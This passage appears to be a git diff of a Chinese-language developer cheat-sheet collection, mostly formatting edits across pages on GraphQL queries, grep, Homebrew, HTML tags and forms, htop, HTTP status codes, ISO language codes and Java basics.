{ "name": "Luke Skywalker" },
{ "name": "Han Solo" }
]
}
}
}
```
### 参数 Arguments
```graphql
{
human(id: "1000") {
name
height
}
}
```
结果:
```json
{
"data": {
"human": {
"name": "Luke Skywalker",
"height": 1.72
}
}
}
```
### 不同类型的参数
```graphql
{
human(id: "1000") {
name
height(unit: FOOT)
}
}
```
结果:
```json
{
"data": {
"human": {
"name": "Luke Skywalker",
"height": 5.6430448
}
}
}
```
### 别名(Aliases)
```graphql
{
empireHero: hero(episode: EMPIRE) {
name
}
jediHero: hero(episode: JEDI) {
name
}
}
```
结果:
```json
{
"data": {
"empireHero": {
"name": "Luke Skywalker"
},
"jediHero": {
"name": "R2-D2"
}
}
}
```
### 片段(Fragments)
<!--rehype:wrap-class=row-span-2-->
```graphql
{
leftComparison: hero(episode: EMPIRE) {
...comparisonFields
}
rightComparison: hero(episode: JEDI) {
...comparisonFields
}
}
fragment comparisonFields on Character {
name
appearsIn
friends {
name
}
}
```
结果:
```json
{
"data": {
"leftComparison": {
"name": "Luke Skywalker",
"appearsIn": [
"NEWHOPE",
"EMPIRE",
"JEDI"
],
"friends": [
{ "name": "Han Solo" },
{ "name": "Leia Organa" },
{ "name": "C-3PO" },
{ "name": "R2-D2" }
]
},
"rightComparison": {
"name": "R2-D2",
"appearsIn": [
"NEWHOPE",
"EMPIRE",
"JEDI"
],
"friends": [
{ "name": "Luke Skywalker" },
{ "name": "Han Solo" },
{ "name": "Leia Organa" }
]
}
}
}
```
### 在片段内使用变量
<!--rehype:wrap-class=row-span-3-->
```graphql
query HeroComparison($first: Int = 3) {
leftComparison: hero(episode: EMPIRE) {
...comparisonFields
}
rightComparison: hero(episode: JEDI) {
...comparisonFields
}
}
fragment comparisonFields on Character {
name
friendsConnection(first: $first) {
totalCount
edges {
node {
name
}
}
}
}
```
结果:
```json
{
"data": {
"leftComparison": {
"name": "Luke Skywalker",
"friendsConnection": {
"totalCount": 4,
"edges": [
{
"node": {
"name": "Han Solo"
}
},
{
"node": {
"name": "Leia Organa"
}
}
]
}
},
"rightComparison": {
"name": "R2-D2",
"friendsConnection": {
"totalCount": 3,
"edges": [
{
"node": {
"name": "Luke Skywalker"
}
},
{
"node": {
"name": "Han Solo"
}
}
]
}
}
}
}
```
### 操作名称(Operation name)
```graphql
query HeroNameAndFriends {
hero {
name
friends {
name
}
}
}
```
结果:
```json
{
"data": {
"hero": {
"name": "R2-D2",
"friends": [
{ "name": "Luke Skywalker" },
{ "name": "Han Solo" },
{ "name": "Leia Organa" }
]
}
}
}
```
### 变量(Variables)
```graphql
# { "graphiql": true, "variables": { "episode": JEDI } }
query HeroNameAndFriends($episode: Episode) {
hero(episode: $episode) {
name
friends {
name
}
}
}
```
<!--rehype:className=wrap-text -->
变量前缀必须为 `$`,后跟其类型
### 默认变量(Default variables)
```graphql
query HeroNameAndFriends($episode: Episode = "JEDI") {
hero(episode: $episode) {
name
friends {
name
}
}
}
```
<!--rehype:className=wrap-text -->
### 指令(Directives)
```graphql
query Hero($episode: Episode, $withFriends: Boolean!) {
hero(episode: $episode) {
name
friends @include(if: $withFriends) {
name
}
}
}
```
<!--rehype:className=wrap-text -->
----
```graphql
{ "episode": "JEDI", "withFriends": false }
```
结果:
```json
{
"data": { "hero": { "name": "R2-D2" } }
}
```
- `@include(if: Boolean)` 仅在参数为 `true` 时,包含此字段
- `@skip(if: Boolean)` 如果参数为 `true`,跳过此字段
### 变更(Mutations)
```graphql
mutation CreateReviewForEpisode($ep: Episode!, $review: ReviewInput!) {
createReview(episode: $ep, review: $review) {
stars
commentary
}
}
```
<!--rehype:className=wrap-text -->
----
```
{
"ep": "JEDI",
"review": {
"stars": 5,
"commentary": "This is a great movie!"
}
}
```
结果:
```json
{
"data": {
"createReview": {
"stars": 5,
"commentary": "This is a great movie!"
}
}
}
```
### 内联片段(Inline Fragments)
```graphql
query HeroForEpisode($ep: Episode!) {
hero(episode: $ep) {
name
... on Droid {
primaryFunction
}
... on Human {
height
}
}
}
```
----
```graphql
{ "ep": "JEDI" }
```
结果:
```json
{
"data": {
"hero": {
"name": "R2-D2",
"primaryFunction": "Astromech"
}
}
}
```
### 元字段(Meta fields)
```graphql
{
search(text: "an") {
__typename
... on Human {
name
}
... on Droid {
name
}
... on Starship {
name
}
}
}
```
结果:
```json
{
"data": {
"search": [
{
"__typename": "Human",
"name": "Han Solo"
},
{
"__typename": "Human",
"name": "Leia Organa"
},
{
"__typename": "Starship",
"name": "TIE Advanced x1"
}
]
}
}
```
另见
-------
- [GraphQL Schema Language Cheat Sheet](https://github.com/sogko/graphql-schema-language-cheat-sheet) _(github.com)_

View File

@ -3,7 +3,6 @@ Grep 备忘清单
本备忘单旨在快速提醒使用命令行程序 grep 所涉及的主要概念,并假设您已经了解其用法。
入门
------
<!--rehype:body-class=cols-5-->
@ -31,7 +30,6 @@ $ grep 'mellon' myfile.txt
文件名中接受通配符。
### 选项示例
<!--rehype:wrap-class=col-span-3-->
@ -51,7 +49,6 @@ $ grep 'mellon' myfile.txt
| `-o` | grep -o search_string filename | 只显示字符串的匹配部分
| `-n` | grep -n "go" demo.txt | 显示匹配的行号
Grep 正则表达式
-------
@ -97,13 +94,12 @@ Grep 正则表达式
`[0-9]` | 任何数字
`[0-9­A-Z­a-z]` | 任何大小写字母或数字
### 位置
:- | :-
:- | :-
`^ ` | 行的开头
`$ ` | 行结束
`^` | 行的开头
`$` | 行结束
`^$` | 空行
`\<` | 词的开头
`\>` | 词尾
@ -176,4 +172,4 @@ grep -c "text" file_name
另见
----
- [grep 中文文档](https://wangchujiang.com/linux-command/c/grep.html) _(jaywcjlove.github.io)_
- [grep 中文文档](https://wangchujiang.com/linux-command/c/grep.html) _(jaywcjlove.github.io)_

View File

@ -36,7 +36,7 @@ export HOMEBREW_INSTALL_FROM_API=1
### 命令
命令 | 说明
:--- :---
:--- :---
`brew install git` | `安装`一个包
`brew reinstall git` | 重新`安装`一个包
`brew uninstall git` | `删除`/`卸载`软件包
@ -51,7 +51,7 @@ export HOMEBREW_INSTALL_FROM_API=1
### 更多包命令
命令 | 说明
:--- :---
:--- :---
`brew info git` | 列出版本、注意事项等
`brew cleanup git` | 删除旧版本
`brew edit git` | 编辑此软件包
@ -62,7 +62,7 @@ export HOMEBREW_INSTALL_FROM_API=1
### Brew Cask 命令
命令 | 说明
:--- :---
:--- :---
`brew install --cask firefox` | 安装火狐浏览器
`brew list --cask` | 列出已安装应用
@ -72,7 +72,7 @@ Cask 命令用于与图形应用程序交互
<!--rehype:wrap-class=row-span-2-->
命令 | 说明
:--- :---
:--- :---
`brew update` | 更新 `brew``cask`
`brew upgrade` | 升级所有软件包
`brew list` | 已安装列表
@ -120,7 +120,7 @@ $ brew info <formula>
### 帮助命令
命令 | 说明
:--- :---
:--- :---
`brew help` | 打印帮助信息
`brew help <sub-command>` | 打印子命令的帮助信息
@ -129,4 +129,4 @@ $ brew info <formula>
- [Homebrew 官网](https://brew.sh/index_zh-cn) _(brew.sh)_
- [Homebrew brew 源码](https://github.com/Homebrew/brew) _(github.com)_
- [Homebrew core 源码](https://github.com/Homebrew/homebrew-core) _(github.com)_
- [Homebrew core 源码](https://github.com/Homebrew/homebrew-core) _(github.com)_

View File

@ -3,7 +3,6 @@ HTML 字符实体备忘清单
此备忘清单是 HTML 实体及其编号和名称的完整列表。还包括可以用 HTML 表示的 ASCII 字符的完整列表。
HTML 字符实体引用
------
<!--rehype:body-class=cols-1-->
@ -360,4 +359,4 @@ HTML 字符实体引用
另见
---
- [HTML 字符集实体](https://jaywcjlove.github.io/html-tutorial/reference/charactersets_entities.html)
- [HTML 字符集实体](https://jaywcjlove.github.io/html-tutorial/reference/charactersets_entities.html)

View File

@ -43,11 +43,12 @@ HTML 备忘清单
<p>我来自快速参考</p>
<p>分享快速参考备忘单。</p>
```
请参阅:[段落元素](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/p)
### HTML 链接
```html
```html
<a href="https://github.com/jaywcjlove/reference">
Github
</a>
@ -68,8 +69,6 @@ HTML 备忘清单
请参阅:[\<a> 属性](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/a#attributes)
### Image 标签
```html
@ -163,10 +162,8 @@ HTML 备忘清单
src="https://www.openstreetmap.org/export/embed.html?bbox=-0.004017949104309083%2C51.47612752641776%2C0.00030577182769775396%2C51.478569861898606&layer=mapnik">
</iframe>
请参阅:[内联框架元素](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/iframe)
### HTML 中的 JavaScript
```html
@ -176,7 +173,6 @@ HTML 备忘清单
</script>
```
#### 外部 JavaScript
```html
@ -186,7 +182,6 @@ HTML 备忘清单
</body>
```
### HTML 中的 CSS
```html
@ -206,8 +201,6 @@ HTML 备忘清单
</head>
```
HTML5 标签
-------------
@ -227,7 +220,6 @@ HTML5 标签
</body>
```
### 标题导航
```html
@ -242,7 +234,6 @@ HTML5 标签
</header>
```
### HTML5 Tags
<!--rehype:wrap-class=row-span-4-->
@ -281,7 +272,6 @@ HTML5 标签
[video](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/video) | 嵌入视频
[wbr](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/wbr) | 换行机会
### HTML5 Video
```html
@ -339,7 +329,6 @@ HTML5 标签
<rp>(</rp><rt>yīn</rt><rp>)</rp>
</ruby>
### HTML5 kdi
```html
@ -358,7 +347,6 @@ HTML5 标签
<li>User <bdi>إيان</bdi>: 90 points</li>
</ul>
### HTML5 progress
```html
@ -375,7 +363,6 @@ HTML5 标签
<p>我爱<mark>备忘清单</mark></p>
HTML 表格
--------------
@ -505,19 +492,18 @@ HTML 表单
#### ↓ 预览
<form method="POST" action="api/login" style="padding: 20px;">
<label for="email">邮箱: </label>
<label for="email">邮箱: </label>
<input type="email" id="email" name="email" class="border border-slate-400 mt-2">
<br/>
<label for="pwd">密码:</label>
<label for="pwd">密码:</label>
<input type="password" id="pwd" name="pwd" class="border border-slate-400 mt-2">
<br/>
<input type="submit" value="登录" class="mt-2">
<br/>
<input type="checkbox" id="ck" name="ck" class="mt-2">
<label for="ck">记住我</label>
<label for="ck">记住我</label>
</form>
HTML `<form>` 元素用于收集信息并将其发送到外部源。
### Form 属性
@ -602,13 +588,16 @@ Textarea 是一个多行文本输入控件
单选按钮用于让用户只选择一个
### Checkboxes
```html
<input type="checkbox" name="s" id="soc">
<label for="soc">Soccer</label>
<input type="checkbox" name="s" id="bas">
<label for="bas">Baseball</label>
```
#### ↓ 预览
<form style="padding: 20px;">
<input type="checkbox" name="sports" id="soccer">
<label for="soccer">Soccer</label>
@ -718,7 +707,6 @@ Textarea 是一个多行文本输入控件
`将数据提交到服务器` 重置为默认值
HTML input 标签
-----------
<!--rehype:body-class=cols-2-->
@ -729,10 +717,10 @@ HTML input 标签
输入标记是一个空元素,用于标识要从用户处获取的特定类型的字段信息。
```html
<input type="text" name="?" value="?" minlength="6" required />
<input type="text" name="?" value="?" minlength="6" required />
```
----
---
:-|:-
:-|:-
@ -794,7 +782,6 @@ HTML input 标签
| `type="search"` | <input type="search"> |
| `type="range"` | <input type="range"> |
### Input CSS 选择器
| | |
@ -820,6 +807,7 @@ meta 标记描述 HTML 文档中的元数据。它解释了关于 HTML 的其他
<meta property="og:title" content="···">
<meta name="twitter:title" content="···">
```
---
```html
@ -828,6 +816,7 @@ meta 标记描述 HTML 文档中的元数据。它解释了关于 HTML 的其他
<meta property="og:url" content="https://···">
<meta name="twitter:url" content="https://···">
```
---
```html
@ -836,6 +825,7 @@ meta 标记描述 HTML 文档中的元数据。它解释了关于 HTML 的其他
<meta property="og:description" content="···">
<meta name="twitter:description" content="···">
```
---
```html
@ -843,12 +833,14 @@ meta 标记描述 HTML 文档中的元数据。它解释了关于 HTML 的其他
<meta property="og:image" content="https://···">
<meta name="twitter:image" content="https://···">
```
---
```html
<!-- ua -->
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
```
---
```html
@ -900,4 +892,4 @@ Facebook、Instagram、Pinterest、LinkedIn 等使用。
- [HTML 4.01 Specification](https://www.w3.org/TR/REC-html40/cover.html#minitoc) _(w3.org)_
- [HTML Tutorial](https://wangchujiang.com/html-tutorial/) _(jaywcjlove.github.io)_
- [Emmet 备忘清单,提升 HTML 和 CSS 代码编写的工具包](./emmet.md) _(jaywcjlove.github.io)_
- [Emmet 备忘清单,提升 HTML 和 CSS 代码编写的工具包](./emmet.md) _(jaywcjlove.github.io)_

View File

@ -53,7 +53,7 @@ htop 的软件包在大多数发行版中都[可用下载](https://htop.dev/down
`T` | 追踪/停止
`Z` | 僵尸
`D` | 磁盘睡眠
<!--rehype:className=shortcuts-->
<!--rehype:className=shortcuts-->
### 交互式命令
<!--rehype:wrap-class=col-span-2 row-span-3-->
@ -81,7 +81,7 @@ htop 的软件包在大多数发行版中都[可用下载](https://htop.dev/down
`p` | 在适用的情况下显示运行程序的完整路径(这是一个切换键)
`Ctrl-L` | 刷新:重绘屏幕并重新计算数值
`Numbers` | PID搜索输入进程ID选择突出显示将移至它
<!--rehype:className=shortcuts-->
<!--rehype:className=shortcuts-->
### 排序/线程
@ -93,7 +93,7 @@ htop 的软件包在大多数发行版中都[可用下载](https://htop.dev/down
`I` | `反转`排序顺序
`K` | 隐藏`内核`线程
`H` | 隐藏`用户`线程
<!--rehype:className=shortcuts-->
<!--rehype:className=shortcuts-->
### 滚动
@ -108,4 +108,4 @@ htop 的软件包在大多数发行版中都[可用下载](https://htop.dev/down
`End` | 滚动到流程列表的`底部` <br /> _选择最后一个流程_
`Ctrl-A`, `^` | 向`左`滚动到流程条目`开头` _(即行开头)_
`Ctrl-E`, `$` | 向`右`滚动到流程条目`末尾` _(即行尾)_
<!--rehype:className=shortcuts-->
<!--rehype:className=shortcuts-->

View File

@ -6,7 +6,7 @@ HTTP 状态码备忘清单。 每个 HTTP 状态代码的快速参考。
HTTP 状态码
---
### Means
### Means
- [1xx: Informational](#1xx-信息) _这意味着已收到请求并且该过程正在继续_<!--rehype:tooltips-->
- [2xx: Success](#2xx-成功的) _这意味着该操作已成功接收、理解和接受_<!--rehype:tooltips-->
@ -17,63 +17,63 @@ HTTP 状态码
### 2xx. 成功的
<!--rehype:wrap-class=row-span-2-->
* [200: OK](https://tools.ietf.org/html/rfc7231#section-6.3.1) _请求没问题_<!--rehype:tooltips-->
* [201: Created](https://tools.ietf.org/html/rfc7231#section-6.3.2) _请求完成并创建了一个新资源_<!--rehype:tooltips-->
* [202: Accepted](https://tools.ietf.org/html/rfc7231#section-6.3.3) _接受请求进行处理但处理未完成_<!--rehype:tooltips-->
* [203: Non-Authoritative Information](https://tools.ietf.org/html/rfc7231#section-6.3.4) _实体标头中的信息来自本地或第三方副本而不是来自原始服务器_<!--rehype:tooltips-->
* [204: No Content](https://tools.ietf.org/html/rfc7231#section-6.3.5) _响应中给出了状态码和标头但响应中没有实体主体_<!--rehype:tooltips-->
* [205: Reset Content](https://tools.ietf.org/html/rfc7231#section-6.3.6) _浏览器应清除用于此事务的表单以获取其他输入_<!--rehype:tooltips-->
* [206: Partial Content](https://tools.ietf.org/html/rfc7233#section-4.1) _服务器正在返回请求大小的部分数据。 用于响应指定 Range 标头的请求。 服务器必须使用 Content-Range 标头指定响应中包含的范围_<!--rehype:tooltips-->
- [200: OK](https://tools.ietf.org/html/rfc7231#section-6.3.1) _请求没问题_<!--rehype:tooltips-->
- [201: Created](https://tools.ietf.org/html/rfc7231#section-6.3.2) _请求完成并创建了一个新资源_<!--rehype:tooltips-->
- [202: Accepted](https://tools.ietf.org/html/rfc7231#section-6.3.3) _接受请求进行处理但处理未完成_<!--rehype:tooltips-->
- [203: Non-Authoritative Information](https://tools.ietf.org/html/rfc7231#section-6.3.4) _实体标头中的信息来自本地或第三方副本而不是来自原始服务器_<!--rehype:tooltips-->
- [204: No Content](https://tools.ietf.org/html/rfc7231#section-6.3.5) _响应中给出了状态码和标头但响应中没有实体主体_<!--rehype:tooltips-->
- [205: Reset Content](https://tools.ietf.org/html/rfc7231#section-6.3.6) _浏览器应清除用于此事务的表单以获取其他输入_<!--rehype:tooltips-->
- [206: Partial Content](https://tools.ietf.org/html/rfc7233#section-4.1) _服务器正在返回请求大小的部分数据。 用于响应指定 Range 标头的请求。 服务器必须使用 Content-Range 标头指定响应中包含的范围_<!--rehype:tooltips-->
### 4xx. 客户端错误
<!--rehype:wrap-class=row-span-3-->
* [400: Bad Request](https://tools.ietf.org/html/rfc7231#section-6.5.1) _服务器不理解该请求_<!--rehype:tooltips-->
* [401: Unauthorized](https://tools.ietf.org/html/rfc7235#section-3.1) _请求的页面需要用户名和密码_<!--rehype:tooltips-->
* [402: Payment Required](https://tools.ietf.org/html/rfc7231#section-6.5.2) _您还不能使用此代码_<!--rehype:tooltips-->
* [403: Forbidden](https://tools.ietf.org/html/rfc7231#section-6.5.3) _禁止访问请求的页面_<!--rehype:tooltips-->
* [404: Not Found](https://tools.ietf.org/html/rfc7231#section-6.5.4) _服务器找不到请求的页面_<!--rehype:tooltips-->
* [405: Method Not Allowed](https://tools.ietf.org/html/rfc7231#section-6.5.5) _请求中指定的方法是不允许的_<!--rehype:tooltips-->
* [406: Not Acceptable](https://tools.ietf.org/html/rfc7231#section-6.5.6) _服务器只能生成客户端不接受的响应_<!--rehype:tooltips-->
* [407: Proxy Authentication Required](https://tools.ietf.org/html/rfc7235#section-3.2) _您必须先通过代理服务器进行身份验证然后才能提供此请求_<!--rehype:tooltips-->
* [408: Request Timeout](https://tools.ietf.org/html/rfc7231#section-6.5.7) _请求花费的时间比服务器准备等待的时间长_<!--rehype:tooltips-->
* [409: Conflict](https://tools.ietf.org/html/rfc7231#section-6.5.8) _由于冲突请求无法完成_<!--rehype:tooltips-->
* [410: Gone](https://tools.ietf.org/html/rfc7231#section-6.5.9) _请求的页面不再可用_<!--rehype:tooltips-->
* [411: Length Required](https://tools.ietf.org/html/rfc7231#section-6.5.10) _“Content-Length”未定义。 没有它服务器将不会接受请求_<!--rehype:tooltips-->
* [412: Precondition Failed](https://tools.ietf.org/html/rfc7232#section-4.2) _请求中给出的前提条件被服务器评估为 false_<!--rehype:tooltips-->
* [413: Payload Too Large](https://tools.ietf.org/html/rfc7231#section-6.5.11) _服务器不会接受请求因为请求实体太大_<!--rehype:tooltips-->
* [414: URI Too Long](https://tools.ietf.org/html/rfc7231#section-6.5.12) _服务器不会接受请求因为 url 太长。 当您将“发布”请求转换为具有长查询信息的“获取”请求时发生_<!--rehype:tooltips-->
* [415: Unsupported Media Type](https://tools.ietf.org/html/rfc7231#section-6.5.13) _服务器不会接受请求因为不支持媒体类型_<!--rehype:tooltips-->
* [416: Range Not Satisfiable](https://tools.ietf.org/html/rfc7233#section-4.4) _请求的字节范围不可用且超出范围_<!--rehype:tooltips-->
* [417: Expectation Failed](https://tools.ietf.org/html/rfc7231#section-6.5.14) _此服务器无法满足在 Expect 请求标头字段中给出的期望_<!--rehype:tooltips-->
* [426: Upgrade Required](https://tools.ietf.org/html/rfc7231#section-6.5.15) _服务器拒绝使用当前协议执行请求但在客户端升级到不同协议后可能愿意这样做_<!--rehype:tooltips-->
* [451: Unavailable For Legal Reasons](https://datatracker.ietf.org/doc/html/rfc7725#section-3) _此状态代码表示服务器拒绝访问资源作为法律要求的结果_<!--rehype:tooltips-->
- [400: Bad Request](https://tools.ietf.org/html/rfc7231#section-6.5.1) _服务器不理解该请求_<!--rehype:tooltips-->
- [401: Unauthorized](https://tools.ietf.org/html/rfc7235#section-3.1) _请求的页面需要用户名和密码_<!--rehype:tooltips-->
- [402: Payment Required](https://tools.ietf.org/html/rfc7231#section-6.5.2) _您还不能使用此代码_<!--rehype:tooltips-->
- [403: Forbidden](https://tools.ietf.org/html/rfc7231#section-6.5.3) _禁止访问请求的页面_<!--rehype:tooltips-->
- [404: Not Found](https://tools.ietf.org/html/rfc7231#section-6.5.4) _服务器找不到请求的页面_<!--rehype:tooltips-->
- [405: Method Not Allowed](https://tools.ietf.org/html/rfc7231#section-6.5.5) _请求中指定的方法是不允许的_<!--rehype:tooltips-->
- [406: Not Acceptable](https://tools.ietf.org/html/rfc7231#section-6.5.6) _服务器只能生成客户端不接受的响应_<!--rehype:tooltips-->
- [407: Proxy Authentication Required](https://tools.ietf.org/html/rfc7235#section-3.2) _您必须先通过代理服务器进行身份验证然后才能提供此请求_<!--rehype:tooltips-->
- [408: Request Timeout](https://tools.ietf.org/html/rfc7231#section-6.5.7) _请求花费的时间比服务器准备等待的时间长_<!--rehype:tooltips-->
- [409: Conflict](https://tools.ietf.org/html/rfc7231#section-6.5.8) _由于冲突请求无法完成_<!--rehype:tooltips-->
- [410: Gone](https://tools.ietf.org/html/rfc7231#section-6.5.9) _请求的页面不再可用_<!--rehype:tooltips-->
- [411: Length Required](https://tools.ietf.org/html/rfc7231#section-6.5.10) _“Content-Length”未定义。 没有它服务器将不会接受请求_<!--rehype:tooltips-->
- [412: Precondition Failed](https://tools.ietf.org/html/rfc7232#section-4.2) _请求中给出的前提条件被服务器评估为 false_<!--rehype:tooltips-->
- [413: Payload Too Large](https://tools.ietf.org/html/rfc7231#section-6.5.11) _服务器不会接受请求因为请求实体太大_<!--rehype:tooltips-->
- [414: URI Too Long](https://tools.ietf.org/html/rfc7231#section-6.5.12) _服务器不会接受请求因为 url 太长。 当您将“发布”请求转换为具有长查询信息的“获取”请求时发生_<!--rehype:tooltips-->
- [415: Unsupported Media Type](https://tools.ietf.org/html/rfc7231#section-6.5.13) _服务器不会接受请求因为不支持媒体类型_<!--rehype:tooltips-->
- [416: Range Not Satisfiable](https://tools.ietf.org/html/rfc7233#section-4.4) _请求的字节范围不可用且超出范围_<!--rehype:tooltips-->
- [417: Expectation Failed](https://tools.ietf.org/html/rfc7231#section-6.5.14) _此服务器无法满足在 Expect 请求标头字段中给出的期望_<!--rehype:tooltips-->
- [426: Upgrade Required](https://tools.ietf.org/html/rfc7231#section-6.5.15) _服务器拒绝使用当前协议执行请求但在客户端升级到不同协议后可能愿意这样做_<!--rehype:tooltips-->
- [451: Unavailable For Legal Reasons](https://datatracker.ietf.org/doc/html/rfc7725#section-3) _此状态代码表示服务器拒绝访问资源作为法律要求的结果_<!--rehype:tooltips-->
### 1xx. 信息
* [100: Continue](https://tools.ietf.org/html/rfc7231#section-6.2.1) _服务器只收到了请求的一部分但只要没有被拒绝客户端就应该继续请求_<!--rehype:tooltips-->
* [101: Switching Protocols](https://tools.ietf.org/html/rfc7231#section-6.2.2) _服务器切换协议_<!--rehype:tooltips-->
* [102: Processing](https://tools.ietf.org/html/rfc2518#section-10.1) _用于通知客户端服务器已接受完整请求但尚未完成的临时响应_<!--rehype:tooltips-->
- [100: Continue](https://tools.ietf.org/html/rfc7231#section-6.2.1) _服务器只收到了请求的一部分但只要没有被拒绝客户端就应该继续请求_<!--rehype:tooltips-->
- [101: Switching Protocols](https://tools.ietf.org/html/rfc7231#section-6.2.2) _服务器切换协议_<!--rehype:tooltips-->
- [102: Processing](https://tools.ietf.org/html/rfc2518#section-10.1) _用于通知客户端服务器已接受完整请求但尚未完成的临时响应_<!--rehype:tooltips-->
### 3xx. 重定向
* [300: Multiple Choices](https://tools.ietf.org/html/rfc7231#section-6.4.1) _一个链接列表。 用户可以选择一个链接并转到该位置。 最多五个地址_<!--rehype:tooltips-->
* [301: Moved Permanently](https://tools.ietf.org/html/rfc7231#section-6.4.2) _请求的页面已移至新的 url_<!--rehype:tooltips-->
* [302: Found](https://tools.ietf.org/html/rfc7231#section-6.4.3) _请求的页面已临时移动到新的 url_<!--rehype:tooltips-->
* [303: See Other](https://tools.ietf.org/html/rfc7231#section-6.4.4) _请求的页面可以在不同的 url 下找到_<!--rehype:tooltips-->
* [304: Not Modified](https://tools.ietf.org/html/rfc7232#section-4.1) _这是对 If-Modified-Since 或 If-None-Match 标头的响应代码,其中 URL 自指定日期以来未修改_<!--rehype:tooltips-->
* [305: Use Proxy](https://tools.ietf.org/html/rfc7231#section-6.4.5) _请求的 URL 必须通过 Location 标头中提到的代理访问_<!--rehype:tooltips-->
* [306: Unused](https://tools.ietf.org/html/rfc7231#section-6.4.6) _此代码在以前的版本中使用过。 它不再使用但代码被保留_<!--rehype:tooltips-->
* [307: Temporary Redirect](https://tools.ietf.org/html/rfc7231#section-6.4.7) _请求的页面已临时移动到新的 url_<!--rehype:tooltips-->
- [300: Multiple Choices](https://tools.ietf.org/html/rfc7231#section-6.4.1) _一个链接列表。 用户可以选择一个链接并转到该位置。 最多五个地址_<!--rehype:tooltips-->
- [301: Moved Permanently](https://tools.ietf.org/html/rfc7231#section-6.4.2) _请求的页面已移至新的 url_<!--rehype:tooltips-->
- [302: Found](https://tools.ietf.org/html/rfc7231#section-6.4.3) _请求的页面已临时移动到新的 url_<!--rehype:tooltips-->
- [303: See Other](https://tools.ietf.org/html/rfc7231#section-6.4.4) _请求的页面可以在不同的 url 下找到_<!--rehype:tooltips-->
- [304: Not Modified](https://tools.ietf.org/html/rfc7232#section-4.1) _这是对 If-Modified-Since 或 If-None-Match 标头的响应代码,其中 URL 自指定日期以来未修改_<!--rehype:tooltips-->
- [305: Use Proxy](https://tools.ietf.org/html/rfc7231#section-6.4.5) _请求的 URL 必须通过 Location 标头中提到的代理访问_<!--rehype:tooltips-->
- [306: Unused](https://tools.ietf.org/html/rfc7231#section-6.4.6) _此代码在以前的版本中使用过。 它不再使用但代码被保留_<!--rehype:tooltips-->
- [307: Temporary Redirect](https://tools.ietf.org/html/rfc7231#section-6.4.7) _请求的页面已临时移动到新的 url_<!--rehype:tooltips-->
### 5xx. 服务器错误
* [500: Internal Server Error](https://tools.ietf.org/html/rfc7231#section-6.6.1) _请求未完成。服务器遇到了意外情况_<!--rehype:tooltips-->
* [501: Not Implemented](https://tools.ietf.org/html/rfc7231#section-6.6.2) _请求未完成。服务器不支持所需的功能_<!--rehype:tooltips-->
* [502: Bad Gateway](https://tools.ietf.org/html/rfc7231#section-6.6.3) _请求未完成。服务器收到来自上游服务器的无效响应_<!--rehype:tooltips-->
* [503: Service Unavailable](https://tools.ietf.org/html/rfc7231#section-6.6.4) _请求未完成。服务器暂时超载或停机_<!--rehype:tooltips-->
* [504: Gateway Timeout](https://tools.ietf.org/html/rfc7231#section-6.6.5) _网关已超时_<!--rehype:tooltips-->
* [505: HTTP Version Not Supported](https://tools.ietf.org/html/rfc7231#section-6.6.6) _服务器不支持“http 协议”版本_<!--rehype:tooltips-->
- [500: Internal Server Error](https://tools.ietf.org/html/rfc7231#section-6.6.1) _请求未完成。服务器遇到了意外情况_<!--rehype:tooltips-->
- [501: Not Implemented](https://tools.ietf.org/html/rfc7231#section-6.6.2) _请求未完成。服务器不支持所需的功能_<!--rehype:tooltips-->
- [502: Bad Gateway](https://tools.ietf.org/html/rfc7231#section-6.6.3) _请求未完成。服务器收到来自上游服务器的无效响应_<!--rehype:tooltips-->
- [503: Service Unavailable](https://tools.ietf.org/html/rfc7231#section-6.6.4) _请求未完成。服务器暂时超载或停机_<!--rehype:tooltips-->
- [504: Gateway Timeout](https://tools.ietf.org/html/rfc7231#section-6.6.5) _网关已超时_<!--rehype:tooltips-->
- [505: HTTP Version Not Supported](https://tools.ietf.org/html/rfc7231#section-6.6.6) _服务器不支持“http 协议”版本_<!--rehype:tooltips-->
### RESTful API

View File

@ -182,4 +182,4 @@ array[]=second value
- [INI 文件配置](https://en.wikipedia.org/wiki/INI_file) _(wikipedia.org)_
- [YAML 格式配置文件备忘清单](./yaml.md) _(jaywcjlove.github.io)_
- [TOML 格式配置文件备忘清单](./toml.md) _(jaywcjlove.github.io)_
- [TOML 格式配置文件备忘清单](./toml.md) _(jaywcjlove.github.io)_

View File

@ -3,7 +3,6 @@ ISO 639-1 Language Code 备忘清单
这是一个符合 ISO 639-1 标准的 ISO 语言代码列表,它为多语言网站提供参考。
入门
----
@ -24,7 +23,7 @@ ISO 639-1 代码列表
### 完整代码
<!--rehype:wrap-class=col-span-3-->
639-1 代码 | ISO 语言(中文)名称 | ISO 语言名称 | 本地名称 (地名)
639-1 代码 | ISO 语言(中文)名称 | ISO 语言名称 | 本地名称 (地名)
:-|:-|:-|:-
`aa` | 阿法尔语 | Afar | Afaraf
`ab` | 阿布哈兹语 | Abkhaz | аҧсуа бызшәа
@ -234,4 +233,4 @@ ht | hat | 海地克里奥尔语 | 2003年2月26日 | 新增 | cpf
<!--rehype:wrap-class=col-span-3-->
- [国际化与本地化](https://zh.wikipedia.org/wiki/国际化与本地化) _(wikipedia.org)_
- [ISO_639-1](https://zh.wikipedia.org/wiki/ISO_639-1) _(wikipedia.org)_
- [ISO_639-1](https://zh.wikipedia.org/wiki/ISO_639-1) _(wikipedia.org)_

View File

@ -73,6 +73,7 @@ for (char c: word.toCharArray()) {
}
// 输出: Q-u-i-c-k-R-e-f-
```
查看: [Loops](#java-循环)
### 数组 Arrays
@ -85,6 +86,7 @@ String[] letters = {"A", "B", "C"};
int[] mylist = {100, 200};
boolean[] answers = {true, false};
```
查看: [Arrays](#java-数组)
### Swap
@ -127,9 +129,10 @@ if (j == 10) {
}
```
查看: [Conditionals](#java-conditionals)
查看: [Conditionals](#条件语句 Conditionals)
### 用户输入
```java
Scanner in = new Scanner(System.in);
String str = in.nextLine();
@ -175,48 +178,60 @@ StringBuilder sb = new StringBuilder(10);
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
0 1 2 3 4 5 6 7 8 9
```
---
```java
sb.append("Reference");
```
---
```java
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
| R | e | f | e | r | e | n | c | e |
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
0 1 2 3 4 5 6 7 8 9
```
---
```java
sb.delete(3, 9);
```
---
```java
